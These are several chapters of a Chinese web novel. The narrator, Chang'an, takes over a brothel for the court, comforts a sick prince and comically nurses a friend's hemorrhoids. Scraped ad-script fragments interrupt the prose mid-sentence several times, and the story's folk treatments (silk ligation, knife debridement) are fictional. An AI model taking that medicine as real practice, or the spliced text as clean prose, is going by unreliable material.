李大娘子闻言抬手欲捂柳花郎的嘴,想着话已出,此举多余,便停在半空,只怯怯地看我的反应。 我点点头,两手一摊,强调道:“我是有病。” “她真有病。”柳花郎道:“病得不轻,不长了,他真是平安的哥,男的女的那些事儿能懂得都懂了,指不定懂得比你还懂,一肚子……‘谋略’,你一出手他就知道你使什么计,你听他说话,谁家真孩子说话那样……‘深奥’,混迹江湖的日子不比你短,你那些心眼都不够他玩儿的……别看他小土豆子一个,十好几了都,玄止境,那是轻轻松松就练出来的吗?哟,那得有,二十好几了吧,三十多……”见我脸色越来越黑,感觉空气越来越冷,柳花郎赶紧闭嘴。 平安蹙着眉头道:“花郎,你胡说八道什么,长安就比我大一岁。” 李大娘子看看平安,又看看我,问柳花郎:“不是闹着玩 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 儿才妹妹长妹妹短的叫着玩儿的?我还以为十多岁的孩子,心眼子太多,压得不长个儿了,他……” “嘘,嘘,你真不想活了?她最听不得这句!”柳花郎一把捂住李大娘子的嘴巴,测目看着我,低声对李大娘子道。 我只是病的不长身体了,并不是又聋又瞎,看不到听不到,算了,正事儿要紧,懒得计较。 “南唐你回不去了。”我托着下巴道:“娘子本来也没打算回去。”我拿过旦公公写划涂抹的乱七八糟的王诏,看了看,道:“方才都是吓唬娘子的,我们大汉还不至于为了娘子这点小事,跟那个乱臣贼子正面交涉。说一千道一万,刚才那些不过是,给娘子长长记性。正好娘子原也是想找个靠山,这样,花满楼以后就是朝廷的产业,娘子就是皇商了,娘子安心做娘子的大掌柜,楼里的买卖娘子想怎么经营怎么经营,免除税收,按照皇商红利分账,以后分号皆是如此。花郎的歌照唱,齐王做娘子的后台,这可是正经皇室血脉,比那个劳什子的摄政王稳妥多了。” “……”李大娘子完全没转过劲儿来,一时有些懵。柳花郎以为她不肯答应,便劝道:“虽然长安是商量的语气,但这可不是真在和你商量哈,你还是赶紧点头从……应了吧。” 李大娘子回过神来,看了看齐王,眉头不可察觉的一蹙,我知道李大娘子担心什么,太后寿诞以后,齐王是要回封国的,我走到惠王身边,解下惠王的面罩道:“惠王,如何?” 李大娘子怕是一眼相中惠王了,当时眼睛惊艳得又大又亮,完全挪不开视线。我满意的点点头,道:“得,这事儿成了。”忽又想起一件事儿来,道:“哦,那个不懂规矩的,送走吧。” 李大娘子回过神来,视线从惠王身上移开,脸上的潮红也退去,眼睛一转,明白我说的是那个妄图揭平安面罩的姑娘,李大娘子跟我求情,我万万不允。 见柳花郎置身事外,我心中不快,剜了他一眼,道:“花郎惹下的风流债,让我妹妹背,不行,必须以儆效尤,杜绝此事,女人争风吃醋妒忌起来,心狠手辣,什么手段都使得出来,可不是闹着玩的,我不能让我妹妹吃那种腌臜亏。” “什,什么?”柳花郎一脸迷茫,“有我什么事儿?” “留下她吧,那是个好孩子,只是对花郎痴情,又不知其中关系,才做了错事。我回去给楼里的姑娘解释,说明平安姑娘是花郎的妹子……” 柳花郎还在迷糊,一再向我扒问怎么回事儿,我不耐烦地道:“跟你有什么关系?滚!”难道告诉你,刚刚在花满楼里,在你什么都不知道的情况下,姑娘倾心于你,为你争风吃醋,攻心算计平安?那你不得迷之自信,觉得自己魅力四射天下无敌?本来一身仙骨,就够你优越的了。 柳花郎更迷惑了,“跟我没关系吗,我听着跟着我有关系啊?” 我对李大娘子严肃道:“不行就是不行,你该解释的解释,但人就是不能留,不管是情敌还是小姑子,八字还没一撇,就敢动手动脚,给小姑子气受,也是万万不行的。”我看着李大娘子,道:“有了不该有的心思,就留不得!” 李大娘子闻言,心头一紧,身子一震,才知道我真正敲打的是谁。她十分恐惧的看着我,眼泪不自觉的流下来,她后知后觉的擦着眼泪,慌张道:“都依你,船舱里太闷热了,奴家出去透透气。” 66. 配合 柳花郎见李大娘子哭着踉踉跄跄跑出去了,也起身要出去,想安慰一番,到了门口,又顿住脚回头看我。我下巴指了指门外,道:“……别回来了。” 柳花郎闻言身子一震,一脸想去不敢去,不去还不服的样子。我嫌弃的“啧”了一声,问道:“你又在干什么?” “你不是不让去吗?” “谁不让你去了?” “你不是那意思去就别回来,我敢去吗?” “……船,快靠岸了,你出去,就在外面等着好了,这里虽宽敞,但也人多,你来来回回,看着拥挤。”我真是无语死了,“滚!”。斜眼瞥见平安又在角落里轻轻啜泣,我脑仁疼,掏出帕子,过去给她小心擦泪珠儿,她看了看我,又示意我看了看琵琶,只见很小很小两个米粒儿大的小字,藏在琴轴象牙贴片的雕花牡丹花蕊里——长安! 呵呵,这琵琶原是一对儿的,另一只也不知道流落何处,怕是当年就随着那场浩劫毁了也说不定。小的时候我和平安我们一起练琵琶,她总是分不清哪个是她的,总是拿错,又舍不得在自己的琵琶上刻字,就叫人在我的琵琶上刻上我的名字,用以区分……这么多年过去了,终究,还是拿错了…… 再一转头,却见齐王不知何时,脸色煞白,汗流浃背,近乎虚脱,颤抖着身体跪在那里,豆大的汗珠子啪嗒啪嗒往下砸,他还不敢擦,我赶紧过去扶正他,给他把脉,疑惑道:“你做什么吓成这样子?” “我,我……你,你……”齐王吞吞吐吐,眼神不敢斜视,连余光都忍住,不往那个地方瞟,在我耳边低声道:“亲王,是不能在皇城下王诏的,等,等同谋逆,你,你那王诏下的还跟,还跟圣旨似得,长安尉我都不敢劳动,更别说鸿胪寺大理寺昭狱我,我……” “你管这个叫圣旨?”我拿过刚才旦公公写的乱七八糟的王诏,展开来举到他面前道:“我又不知道还有这些那些的规矩,吓唬人肯定是捡大个儿的拿,怎么吓人怎么来。这个,跟鬼画符一样,王诏都算不上,王印都没盖,权宜之计,胡乱写的,哪有你想得那么严重。” 齐王看了看乱七八糟的“王诏”,怔了一下,大大的松了一口气,脸色瞬间恢复血色。 惠王看他那样子,轻轻一笑,对我道:“长安,今晚这些都是临时起意?” 惠王果然真心待我,给我递话,让我有个可以向上位者解释的机会。我冲他眉眼欢喜,微微一笑,道:“对啊,我脑筋转得快吧!?那个李大娘子,跟咱使心眼子,在楼里就有意接近我,伶俐不过江湖,有些事我睁只眼闭只眼就算了,岂料她唱着歌儿竟还敢看我妹妹笑话,谁看我妹妹笑话,我就让谁成为笑话。” 船舱外,李大娘子又嘤嘤哭起来…… 她的哭声让我异常有成就感,我畅快地哈哈大笑,众人也被我逗乐了,我看了看一脸慈爱的刘景,对着窗外的明月,双手合十,拜道:“至于花满楼……我是朝廷的鹰犬,自然一心为朝廷牟利,机会难得转瞬即逝,送上门的,我可得逮住了,那花满楼一天的流水,抵得上宵禁前半条西市街一个月的税收。” 众人闻言不禁瞠目结舌,想到那是一个销金窝,却真真儿没想到一个酒楼竟然如此盈利。刘景满意的点点头,自豪地看了看众人,招手示意我过去。我赶紧像小狗子一样跑过去,钻他怀里,讨喜。 他大手一揽,把我搂在怀里,像哄孩子一样晃着,拍着,给我喂了一块糕点,低声跟我说回头给我个惊喜。我闻言眼睛瞪大,连糕点也顾不上吃,沾着满嘴碎屑,迫不及待地趴在他耳边问是什么惊喜,他脸上堆满笑容,将我按在怀里,示意我这里不方便说,要我耐心等着。但我还是欢喜的犹如已经得到“惊喜”一般,摇头摆尾。他见了更加喜欢,宠溺地哈哈大笑。 船靠岸了,李大娘子见平安还在哭,便好心相劝,说女人不可以总是哭,不然眼泪就不金贵了。 平安一滞,显然被人教育,是不太舒服的。我道:“我妹妹不用你教。” 李大娘子挑挑眉。 我又对平安道:“她说的对。”平安见我可爱模样,竟一下子破涕为笑,“长安,你好讨厌。”她开心也享受我对她如此偏爱。 李大娘子羡慕极了,感叹要是有人也这么护着她多好,又道:“你这孩子,本事大,爱护短,还是鬼机灵,要不,你给我做儿子吧?”李大娘子实在喜欢眼前这个漂亮,聪明的娃娃。 我道:“我很贵的,喏,这是朝天阙小一年的利。”我挺了挺圆鼓鼓的肚子。 李大娘子看了看我满身的金子,呵呵笑着翻了翻白眼,转身招徕客人去了。 平安说她还是需要李大娘子教的,她琵琶弹得不好,需要人指点。不等我开口,李大娘子就欣然答应了。平安说起束脩的事,李大娘子只道她这样的出身,平安不嫌弃她已经是万分荣幸,遑论师徒,何谈束脩。 “李大娘子快别说这些俗气话,江湖儿女,谁比谁高贵。术业有专攻,你的琵琶技艺天下无双,我妹妹若能得你教导,也是造化。”我道:“回头我传你一套功法。”李大娘子喜出望外,她的武艺已经到了个人极限,早已止步不前,若无高人指点,再难精进。 李大娘子要拜师,我道:“我妹妹拜你为师,你再拜我为师,那我不成了我妹妹的师祖了?”柳花郎接着我的话茬道:“拜来拜去的也麻烦,以后兄弟姐妹的好好处就行,对吧长安?”我点点头,心中对他很是满意,这小子有时候也挺上道的。 我双手掐腰,远远看着花满楼主楼的牌匾,道:“月满则亏,水满则溢,人生忌满,把这个满字去了,花楼花楼,自然满楼花开,花开满楼。酒微醺,花看半,人生小满最如意!就叫花小楼吧。” 于是,花满楼就改叫花小楼了。后来,全南唐的男人都盼着,来一次北汉,上花小楼去花大钱,圆人生之满。 我和“老伯伯”这对忘年交在码头上依依不舍的作别。太子殿下和惠王在一边交涉。最后我们目送他 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 们离开,柳花郎留下帮着李大娘子张罗花小楼的事宜,楼里已经有惠王府相关府臣,穿着便服来后堂账房做交洽了。这必是刘景的安排。 见来得不是朝廷相关官员,我和李大娘子对视一看,心中了然。 今儿这出戏竟然这么成功,结局比我们想的更完美,原本只想有个后台撑腰,再落个皇商的名头,李大娘子在北汉再有个像模像样的靠山,就站稳脚了。没想到花小楼背后依仗惠王齐王,最后成了皇帝和太子的私产,我真是喜出望外。 从此花小楼的姑娘们,也都入了大汉商籍,有了钱,有了自由,还有了名正言顺的背景,挺着腰板做人,那真真儿是极好的。 呵呵,我们这些人出来做事,向来只定目标,其他的全凭默契,在人眼皮子底下,各出各牌还能心有余灵犀,随机应变打配合,靠的就是一个信字。 以人和,待天时,等地利,任务什么时候发起,什么时候达成,事在人为,却也成事在天,寻时机,靠时气,说是临时起意不为过。我可没有骗惠王! 惠王齐王送我们回我在长安城的宅子,他们借口说口渴,讨杯水喝,顺便欣赏一下我的宅院,仆人不多,赶不及将所有园子的灯点上,只挑着灯笼抹黑陪着他们逛了逛,最后说累了,直接歇在我这里了。 我宅子的竹园,有一处高阁,夏日最是清凉,躺着看星星最好,平安和郑清在那里呆了一晚上。我夜里去看,见郑清守在平安身边,怕她热怕她被蚊虫叮咬,就给她扇扇子,又怕夜里露气重,给她盖薄衾,又怕捂着,就只盖肚子……总之笨手笨脚忙忙碌碌了一晚上。 少男少女,相爱,却不知道怎么相爱,于是就笨拙的爱着……也,怪可爱的! 早膳,柳花郎宣布给自己改名字了,叫柳延年。但是我们还是喜欢管他叫花郎。他说私下可以叫,但是在外面,得叫他的新名字,这是他最后的底线。我叫他滚。敢跟我扯底线。大清早的吃着饭,不想揍他,要不然非得让他见识一下人类的底线。 平安对那把琵琶爱不释手,吃了点清粥小菜,就净了手,在一边摆弄琵琶。她琵琶确实弹得一般。弹着弹着,忽然说想去洛阳看看。我鼓着腮帮子,大喜道:“想去洛阳?好啊,洛阳好,去洛阳好,我喜欢洛阳,吃完饭就动身。你,你,还有你赶紧写请假条。我叫人收拾行李,套马车,你们请完假回来,咱们就上路。” 堂邑夫,郑清,柳花郎,都被我指得一愣,听完我说的话,一脸茫然地看看我,又互相看看。惠王和齐王也迷茫了。 “怎么?不想跟着去啊?亏我想带着你们,不想去就算了,你去上你的学,你去喂你的马,你去唱你的歌,我们玩儿我们的。”我站起身,掐着腰,道:“到时候看我们玩得开心,别说不带你们,哼!” “我们也不,没说不去啊,就是没反应过来,吃完饭就出发,也太快了,假条都批不下来。”堂邑夫道:“再说去洛阳玩,来回怎么也得个把月,学宫不会准假吧。” 67. 丢人 郑清没说话,但看表情,想必马场也不给这么长的假。 柳花郎道:“我刚当上协律郎,太后寿辰在即,好多事呢,也不能批。” 平安想说什么,却被我抢了先,“那你就退学,你就卸任,你就辞官!”我给他们三个,安排的明明白白。 “喂喂喂,大哥,要不要这样,我协律郎的位置好没坐热乎呢,起早贪黑辛苦这么久,俸禄还没拿呢。”柳花郎有些为难。 郑清低着头吃饭,堂邑夫已经叫仆人去拿笔墨纸砚,准备写退学书了,说帮郑清把卸任书也一块儿写了。郑清依旧顺从地吃着饭,真是把“成年人不拒绝就是同意”演绎得真真切切。 我瞪了一眼柳花郎,心道不是一起长大的情份就是不行。虽然我瞧不上郑清那怂包窝囊样,但人家好歹拎得清,不像柳花郎,我愿意带着他一起玩儿,他居然还记挂他的官位,他的俸禄,我真是…… 说真的,他挨揍频率这么高,是因为他无时无刻不在找揍。算了算了,我等有机会再敲打他吧,反正他制造的机会多的是。眼下先忍了吧,到底不能见天儿揍他,他已经有进步了,得给予肯定,对他的调教得张弛有度,不然适得其反倒不好了。 “长安,你这么雷厉风行,我完全跟不上节凑,感觉有些慌张呢,我也就是随口一说的,他们都很忙的,还是等以后有机会再去吧。”平安抱歉地道,她看了看郑清。郑清也看了看她,并没有说话,这种场合他是不能说话的,能和两个亲王同桌吃饭,已经是天大的恩典,又怎可畅所欲言。 齐王道:“我也想去,等太后寿辰过了,咱们一起去。”惠王道:“对啊,我也从未离开过长安城,年幼时就总听说洛阳繁华,也心生向往,不若太后寿辰过了,我和齐王请道折子,咱们一行人同游洛阳,到时候随行车马提拔郑清负责,顺理成章升职,回来也不用卸任,岂不两全?” 在京亲王出行外地,不可调动私人车马,必须使用皇室车驾卫队,以此避嫌。随行人员出行期间升职调动,回来以后不会降回原职,也是旧例。这倒是个好事儿。我便应允了,但其实我想马上就走,最近行事作风有些过分张扬,感觉收不太住了,出去玩玩,避避风头,也好收敛。 这样的话,我再另做打算吧。 饭后齐王找我,他一手搭在我的肩头上,扶着我在园子里散步。我喜欢给他当拐杖,于是很认真很负责的样子,腰板挺得直直的,肩膀摆得正正的,生怕他用着不顺手。他看着我,忍不住开心的咧着嘴,乐呵呵的笑。 我们在一处临池的小亭子里歇脚,靠在美人靠上看池子里成群的锦鲤,锦鲤非常肥大壮硕,是仆人按照我的意思好生喂养的。最大的那一条,张开嘴巴,大概能吞下我的拳头。对此我很满意,重重赏了仆人。 齐王说他身子需要我调理,让我去哪都万万不可忘记带上他,他说他羡慕堂邑夫三人,说如果有必要,他可以亲王自贬,像惠王一样做个留京闲王,或者自废,做个庶人,只求留在我身边,走哪都带着他就行。 昨晚李大娘子对他的态度,应该是打击到他了,他很是自惭形秽,他说他不敢照镜子,不敢看那个面色蜡黄,形容枯槁的他,他说他如今吊着一口气活着,什么抱负,什么心气儿都没了,只想和喜欢的人在一起,过几天舒心日子。 曾经挥斥方遒,意气风发,温润如玉的无双公子,如今竟然卑微到这种境地。人,是脆弱的,肉~体一旦受到摧枯拉朽的创伤,灵魂就会萎靡不振。我能理解他遭受创伤后的那种屈辱感,那种生不如死的痛不欲生。他说的没错,他没骗我,他真的是被我的内力吊着一口气儿,在小心翼翼,努力撑着,煎熬活着。 我起身抱住他,四目相对,彼此呼吸着彼此的呼吸,他的味道让我舒心,他的眉眼,鼻子,嘴巴,尽在我眼前,我细细的看着他,竟然很喜欢看他整齐干净的胡青,忍不住伸手摩挲,有些想亲亲。不知不觉,竟微微扬起下巴,对上他深邃的眸子…… 唉,要是我能长大就好了。想到这里,我不禁难受起来,鼻子酸了,眼圈也红了,我放开他,背过身去,仰头看着亭子顶上的藻井,努力把潮热的泪水控回去。齐王将手搭在我的肩上,用力握了握,他虚弱,手头的力气并不大。 我调整了好久,才转过身去,却见齐王也红着眼,我对上他的双眸,认真道:“师父说灵魂被深爱,就会疯狂长出血肉,我那么喜欢你,那么那么喜欢你,你被我那么那么那么坚定的喜欢着,一定会健壮起来的,一定会好起来的。”这个时候的他,是最需要心理安慰的,黎明前最是黑暗,最是难熬,可是怀抱希望,就总等得到曙光。 他很受触动,一下子将我拥进怀里,仿佛要把我揉进他的身体里,可其实他用尽浑身的力气,也显得那样无力。他哽咽着,直到他的泪水浸透了我肩头的衣服,我才从他怀里撤出来,给他擦着眼泪,擦着鼻涕。“男儿当自强,你是亲王,是代国百姓的天,以后自贬自废的话不要说了,好好将养身体,做回那个贤王,好吗?” 齐王像个孩子一样抽泣着,点点头。一个破碎的我,和一个破碎的他,我们都没办法像小时候那样了……可是,我还能把他慢慢修复好,不是吗?那就是不幸中的万幸了! 堂邑夫遭罪了,也丢人了!这个傻子,早上吃饭的时候,我就觉得他的坐姿不对,骑马上学的时候,更是一种要窜稀,努力憋着,不敢相信任何一个屁的样子。我关心询问,他托词敷衍,结果怎么样?上着上着课,痔疮破了,好大一滩血,弄了整整一裤~裆,比女人突来月事夸张百倍。先生晕血,当时就昏过去了。课堂难免骚动起来。 堂邑夫生的好看,羞红的脸痛苦的蹙眉,让人不禁浮想联翩,于是就有同学打趣说他莫不是个姑娘家,学祝英台女扮男装的。堂邑夫简直要恼火死了,幸好有人拦着,不然他就是爆肛而亡,也要揍死对方。巡察的教学长,让那些人道了歉,叫人把先生和堂邑夫一起抬去学宫医舍。 堂邑夫说不用,自己硬撑着回了宿舍,找出止血药上好,趴在床上一动不动,整个人苍白的毫无血色,偏偏下身极其可 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 怖,给在宿舍打扫床铺的田男男吓坏了。 我当时正在图书馆一边打坐一边看书,田男男慌慌张张地跑来给我报信,一路上,连说带比划地给我介绍他听说的和他亲眼见到的情形。 堂邑夫整个人都没有血色了,一是因为失血过多,二是因为痔疮太疼了,要人命的疼,他还忍着一声不吭。我叫田男男打下手去提些热水来,好在天热,我给他清理完脏污,索性不给他更衣,让他光着身子,只用一块干净的白纱巾遮住中段。开了一个内服的方子,叫田男男帮忙去医馆抓药熬药。 宿舍就剩我俩了,我立即取来烈酒净手,查看了一下病灶,先用温开水帮他擦拭屁股,然后将酒精点燃,烤一烤小银刀,撑开两股,细细清创。他握着拳头,死死咬着牙,整个人不受控制的颤抖抽搐,汗不要钱似得,整个儿活脱脱一个水人了,疼狠了就哼哼两声。 我看着都觉得疼——那是一颗血淋淋的“砂糖橘”,周围还围绕着一些小肉球。堂邑夫趴在床上,完全不能动,只要稍微有些动作,“砂糖橘”就滋血。 趁着还没下课,宿舍人不多,我手脚麻利的在堂邑夫的痛不欲生中,清理完创口,细心地在“砂糖橘”上轻轻敷了一层槐实膏,特意加了足量的冰片,清凉感可以缓解局部疼痛。 可是由于他辣椒吃多了,有些许腹泻,如厕的次数就多了起来,斗大的汗珠子从他痛苦的脸上啪塔啪塔往下掉,披在身上的床单全都湿透了。每次大解完,恭桶里满是鲜血,辣椒带来的火辣辣的疼痛让堂邑夫更是生不如死,又要清理创口,敷药上药…… 堂邑夫遭罪了,我心疼坏了。内服的汤药里,我加了一些止泻和安神镇定的药,堂邑夫喝完药,就昏昏沉沉睡下了。 我想着他接下来最煎熬的当属如厕了,便去小厨房亲自给他熬制鸡汤米羹。谁知提着食盒回来的时候,学生们已经下课了,宿舍的人多了起来,田男男等一众书僮面如土色的站在楼梯口,见我来了,更是紧张的不敢言语一声。 我预感不妙,便问田男男怎么了。田男男指了指楼上,未敢多言。我赶快抬步上楼,只听见田世子唠叨什么这可如何是好。见我来了一个哆嗦赶紧噤声,尴尬地扯了扯嘴角,挺了挺腰板,说了句不必多礼就走开了。切,我好像根本没打算跟他行礼好吧。平时就没这习惯。 我见堂邑夫居然背对着门侧躺着,他那“砂糖橘”怎么经得起他侧躺?果然盖在下身的白纱巾被血渗透了,还……脏兮兮的,嗯?怎么这么脏?就好像掉到地上,有人用脚踩着蹭的。 “啧!”痔疮最要干净,不然会腐烂败坏,真要人命的。堂邑夫怎么这样不爱惜自己,不在意自己……我不禁有些生气,将食盒放到书桌上,头也不回扯下脏了的纱巾扔进盆里,顺手搭了一条干净的。 然后从食盒里取出粥煲一边摆放碗筷汤匙,一边唠叨道:“老实趴着睡!你赶紧趴好,你不能侧躺,会挤压患处,造成失血的,好不容易给你止住血,我还特意叮嘱你了,你非是不……嗯?……怎么回事!?……” 68. 痔疾 我一边说着一边看向堂邑夫,惊得倒吸一口凉气,这小子正面,从额头到脚面,全都是擦伤,而且……好像还昏迷了,对,一定肯定是昏迷,睡觉和昏迷,我分得很清。 我一个跨步上前对他的脸,拍了几下,确定是昏死过去了,很死的那种。我瞬间又急又怒,简直暴跳,攥紧拳头,拧着眉头,大声问:“怎么回事?我大螳螂怎么回事儿?田世子你说!”一会儿的功夫,谁把我心爱的大螳螂给摧残成这样子了?!谁敢?!我环顾一圈,李椒不在,是还没下学回来,还是做完案跑了? 田世子吓得一哆嗦,支支吾吾说不明白,我指着他,怒道:“快说!” 田世子一个激灵,差点没摔倒,倚在不是很牢固的门板上,虚脱道:“是,是堂邑夫不想在学宫养病,拜托我把他送到苏大夫那里,我还说这事儿要不要先知会你,他说先不用,那那那那我就听他的呗。我就叫男男赶紧去备好马车,还叫男男多铺几床被子,可堂邑夫又不能走动,我也不知道该怎么把他弄下楼去,还是堂邑夫自己出的主意说把门板拆了,把他抬下去,我们……我们下楼的时候,下楼的时候……” “下楼的时候怎么了?”我厉声问道。下楼的时候被人使坏!?肯定是下楼的时候给人使坏了!! “下下下下楼的时候,堂堂堂邑夫自己从门板上顺下去了,谁能想到呢?也就谁都没防备,他忽然顺下去的,一路从楼梯上滑下去了,说时迟那时快的,唰的一下,就顺出去了,我们拦都赶不及,跟都跟不上,救也没法儿救,眼睁睁地看着心里干着急,只能无可奈何,只能……哎,哎……” 田世子满脸抱歉恐惧,极力撇清汤儿。几句话说完,我已经脑补了全部画面,呜呜呜,我简直要哭死,我家堂邑夫当时得多无助啊,就这么直挺挺的一个台阶一个台阶的跌跌撞撞滑下去了。 我看了看他鼓鼓的下身,掀起白纱巾的一角瞧了瞧,还好没断,只是淤青肿胀,对我来说不是什么难治的重伤,我完全能够给他恢复如初,不,我一定给他事半功倍。 只是接下来,他连趴着都不能趴着了,只能侧着。可是侧着,又会挤压他的“砂糖橘”。唉,堂邑夫真是会添乱,不想丢人,偏偏越搞越丢人。我只能在梁上系了一条白绫,将他一条腿吊上去。然后在他床的周围悬挂布帘,起到隔断的作用,把他间隔起来,遮挡他为数不多所剩无几的隐私和体面。 给他身上的擦伤上完药,小心照顾好他肿胀的“棒棒”,又重新给他的“砂糖橘”清创上药,堂邑夫也醒了。他是病人,又是这种难以启齿的病和伤,归根到底也是因为我,我没说话,他也识趣的什么都没解释。 虽然有布帘挡着,但是堂邑夫觉得那样侧躺着,不舒服也实在羞耻,可是他前面也肿着,趴也趴不下。整体考虑了一下,堂邑夫认为还是“砂糖橘”伤得更重一些,我也赞同,毕竟再受伤流血,他就要血尽而亡了。 于是我们一番计划,我在床板上给他掏了个洞,用拳头把褥子打了一个小坑,让他趴着。可是这样一来,他的小棒棒虽然不会被压着,但控血又控得十分厉害,更加肿胀了,伤处疼得不亚于砂糖橘,于是又不得不换回了那个吊着腿侧躺的羞耻姿势。一边儿躺累了,我帮他翻身躺另一边儿。 他身长体重,田男男想帮我,我只道我有功夫在身,轻而易举,再有两个堂邑夫也不在话下。 虽然羞耻,但堂邑夫很是配合治疗,可是不肯进食,我自然知道他是被犹如酷刑的排便搞得心理创伤了,对如厕十分抗拒,眼下更是连恭桶也不能看,有阴影了都。我劝他说肚里有饭,药效才快,要是不吃饭,肚子里的辣椒排得也慢,长痛不如短痛。堂邑夫是最听话的,将我炖的一盅鸡汤米羹吃了个干净。 夜里他疼得难以入睡,却不好发出声响,打扰同寝,我扶他如厕,清洗,上药……又给他用内力养护,到了天明他才安然入睡。 三更天,李椒起来练功,见我如此这般照顾堂邑夫,脸色阴沉,我清楚地看见他咬了咬牙,好看的下颌,轮廓更加鲜明。 我起身将一大盆污水倒掉,把恭桶提下楼,放到回收车上,换了一个新的上来,把堂邑夫替换下来的衣裤,脏污的纱巾以及被单等等打好包袱,被在背上,送到洗衣房先浸泡起来,过午再去洗出来。顺道拐去医馆拿了些药材,打算一会儿上小厨房,给堂邑夫熬了一些滋补气血的药膳,算算时辰正好,等他清早醒了就可以吃了。 一路上,李椒就跟着我,不动声色地帮我提着背上的那个巨大的包袱,我自然感觉得到,什么也没说。只是放慢了脚步,想让这难得的时刻长一些。可是包袱总有放下的时候。我解下包袱,取来大盆,拿了皂角粉,我以为他要去武房练功了,却见他走到井边摇着轱辘帮我汲水。接着他又跟着我去了小厨房,我熬粥,他就坐在灶前帮着烧火。 我记得那天,他好像嘀咕了一句“你从来都没这样照顾过我,我也从来不舍得你这样,我舍不得,一下都舍不得,你却……”。从来没有吗,上次你受罚,挨了军棍,满背的伤,我冒着宵禁去你家夜访,给你清创,输送内力,缓解痛苦,你连个好脸色都没给我呢,你,都不记得了是吗?还是,没伤在腚上,你觉得不算数? 外面公鸡打鸣,一只打鸣,其他的就跟着一起打,于是我假装没听见他嘀咕什么,也假装没看见灶台底下的火光,照在他俊朗的脸上,他眼里含着的泪花,晶莹剔透…… 厨房是最有烟火气的地方,我看着白色氤氲的热气,闻着柴火烧着的烟味儿,听着锅里咕嘟咕嘟的响声,想着要是我能长大,这会儿也该嫁人了,嫁给一个寻常农夫,已经生了一个孩子,肚子里还怀着一个,每日清晨的这个时候 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' ,正如这般模样忙着为一家人准备早饭。 说不定我的夫君,宠爱我也如李椒这般,不忍我一个人辛劳,也会早起,帮忙燊火,陪着我看着我……我不用生的好看,只要身强体壮,操持家务能生养,他便对我十分满意,逢人就夸耀娶了个好妇。想到这里,我看了看自己的小手,心里一揪…… 粥熬好了,我先给他盛了一碗,用汤羹搅拌,细心吹了吹,端给他,他小口小口的喝着,总是忍不住抿嘴笑着,还生怕我看见,羞答答的别过头去,又忍不住看我,生怕我看不见他的开心。 我将药材放进锅里,盖上盖子闷煮。我们一句话也没说,就这样静静地,静静地……粥都出锅了,李椒那一碗粥迟迟喝不完,我一边熄灭灶下的柴火,一边说时辰还早催促他喝完赶紧去武房,别耽误了练功。说完就提着食盒要走,他一把拉着我的小胳膊,道:“就,就不能再待一会儿吗?就,就这么着急回去伺候他吗?” 我抬头看着他,轻轻叹了口气,道:“我没有伺候他,他是病患我是医者,我在给他治病,要尽心尽责的。” “未免太尽心尽责了些。”他满脸的不乐意,说完,又对自己的失态惊觉不已,有些心虚的样子,怕是察觉他根本没有资格嫉妒,没道理说这么吃味的话。 我忘记我们当时怎么离开的小厨房,大概是到了做饭的时辰了,厨子们上工了,我们就各自走了。 男人妒恨起来,并不比女人理智,甚至比女人更加浓烈。我那时候聪明得以为自己天下第一,自负的认为没有自己看不透彻的人和事,于是不久后便狠狠栽了个大跟头。 堂邑夫的“砂糖橘”在我细心的照料下慢慢缩小——用生丝捆绑拴住,时不时紧一圈——配上我的药和内力,没几天便在一次如厕后,脱离母体,销匿不见。其他重要的伤势也都康复,田世子双手合十称幸善哉。不过堂邑夫不想理他了,倒不是因为田世子把他摔下去了,毕竟主意是他自己出的,忙也是他自己求人家帮的。田世子人家是好心相助的,出了纰漏,别说摔伤,就算摔死了,也是不好怨到人家身上的。 而是因为,堂邑夫摔下楼去,晕死之前,听到田世子一边下楼,一边大嚷大叫:“完了完了,这下完了,兄弟你这下怕是只能进宫做公公了,完了完了,长安回来我没法儿交代啊,这可怎么办啊,长安得到一个堂公公,会把咱们都弄死的,大家快来啊,快来帮……啊……兄弟,你,我怎么感觉你有点死了,堂邑夫,堂邑夫啊,别是真死了吧……”田世子查看了一番面色“濒死”堂邑夫,拍着胸口庆幸,“啊,还活着,好在还活着,哎妈呀,吓死我了,幸好还活着,活着好,活着好,大家快来啊……啊,血,啊血……啊,到处都是血,楼梯,楼梯上也都是血……啊,人还能做男人吧,别真是公公了,快快快,快来人给本世子翻个身看看……” 69. 渉宴 田世子叫人把堂邑夫翻了过来,众人看着肿胀的巨物,都瞪大了双眼,震惊不已。田世子不确定道:“我去,肿成这个样子,是不是断了,真成公公了……” 堂邑夫闻言,最后一口心气儿也没了,立马歪了头。田世子简直慌张坏了:“哎,哎,兄,兄弟,你醒醒,哎,我滴好兄弟堂邑夫哎,你别死过去啊,你不能死哎,我滴兄弟哎,你醒醒,啊死了我滴好兄弟死……啦,你死啦,我滴个好兄弟哎,你死滴好惨啊,啊……我滴天爷啊……”田世子如丧考妣,坐在地上就拉长腔哭丧起来了,引来更多众人围观。 堂邑夫当时晕死过去,一方面是疼得,一方面是气得,更一方面是丢了面子,一口气没喘息上来,憋得。 堂邑夫好面子,不肯在学宫治疗痔疮,才千方百计要去苏和医馆的,这下好了,一点儿面子也没剩下。 最最重要的一点是,堂邑夫上门板之前,不仅将下身的纱巾系牢固了,身上也是披了床单的。可是,根据他受伤后的情形和目击者的描述来看,他当时应该是在楼梯上跌宕起伏的滑行途中,不慎“遗失”这些重要的遮挡物,也就是说,最终在一楼的场面是极为壮观的…… 田世子的善后工作做的完全是在堂邑夫的颜面尽失上锦上添花——他叫人把伤痕累累,脏兮兮的堂邑夫五马分尸一般四仰八叉的抬回去,然后把脏兮兮的白纱巾往腰上一搭,就不管了。只匆忙叫人清理干净楼梯上和一楼地上的血迹,重点是为了不让我看见而心疼迁怒他们。 堂邑夫还挺恨他一点的就是,明明已经到了一楼了,虽然是摔下去的,为什么还要把他抬回来,就不能给他抬上马车,送出学宫去苏和那里吗?堂邑夫因为此事,抑郁了很久,整个人都不好了,像萎靡的花儿一样每日凋谢着。 